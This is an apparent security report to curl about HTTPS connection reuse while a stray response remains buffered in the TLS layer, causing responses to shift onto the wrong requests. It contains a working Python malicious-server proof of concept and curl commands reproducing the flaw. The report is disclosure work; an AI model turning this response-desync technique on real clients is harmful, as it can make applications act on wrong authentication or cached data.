curl · Report #4128703
curl reuses an HTTPS connection when a response is already buffered in the TLS stack
How it was found
curl master (15292ed75, 8.23.1-DEV) reuses an idle HTTP/1.1-over-TLS
connection even when a complete extra response is already buffered in
OpenSSL/GnuTLS. The ef6b17cf1 fix only polls the socket:
Curl_cpool_conn_seems_healthy() (lib/conncache.c:1073, called from
lib/url.c:1071) uses Curl_conn_is_alive(), and cf_ssl_is_alive()
(lib/vtls/vtls.c:1287) delegates to cf_socket_conn_is_alive()
(lib/cf-socket.c:1811) without checking TLS buffers. The body read is
clamped to Content-Length (lib/transfer.c:187), so the TLS read decrypts a
whole record, returns the body, and leaves the stray response buffered while
the socket is empty. Reproduced on OpenSSL 3.0.13 and GnuTLS 3.8.3 (OpenSSL
also with full certificate verification): /b gets stray instead of
second, and every later response is shifted by one (RFC 9112 section 9.2).
Plain HTTP is correctly not reused, and tests/data/test1701 only covers
<server>http</server>, so the fix has no TLS coverage. Fix: make
cf_ssl_is_alive() report SSL_pending()/SSL_has_pending() (or the backend
equivalent) as pending input, and add an HTTPS variant of test 1701.
Proof of Concept
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem \
-days 1 -subj /CN=localhost
python3 poc.py 9443
poc.py:
import socket, ssl, sys, time
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("cert.pem", "key.pem")
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", int(sys.argv[1])))
srv.listen(1)
c, _ = srv.accept()
s = ctx.wrap_socket(c, server_side=True)
req = b""
while b"\r\n\r\n" not in req:
req += s.recv(4096)
s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n")
time.sleep(0.3)
s.sendall(b"first" + b"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nstray")
time.sleep(0.3)
s.settimeout(3.0)
try:
s.recv(4096) # second request on the reused connection
s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 6\r\n\r\nsecond")
except OSError:
pass
s.close()
Then:
curl -k -sS --http1.1 -w '\n' https://127.0.0.1:9443/a https://127.0.0.1:9443/b
Expected (fixed):
first
second
Actual:
first
stray
curl -v shows Reusing existing https: connection for /b. The PoC uses a
single connection; if curl correctly opens a new one, /b stalls or is
refused.
Impact
On a reused HTTPS/1.1 connection, a server can make curl bind a response it sent earlier to a later request. The real response remains unread, so every subsequent response is one request behind. Applications that rely on the one-response-per-request mapping (authentication, caching, parsing, multi-resource fetches on one handle) can act on the wrong response, violating RFC 9112 section 9.2.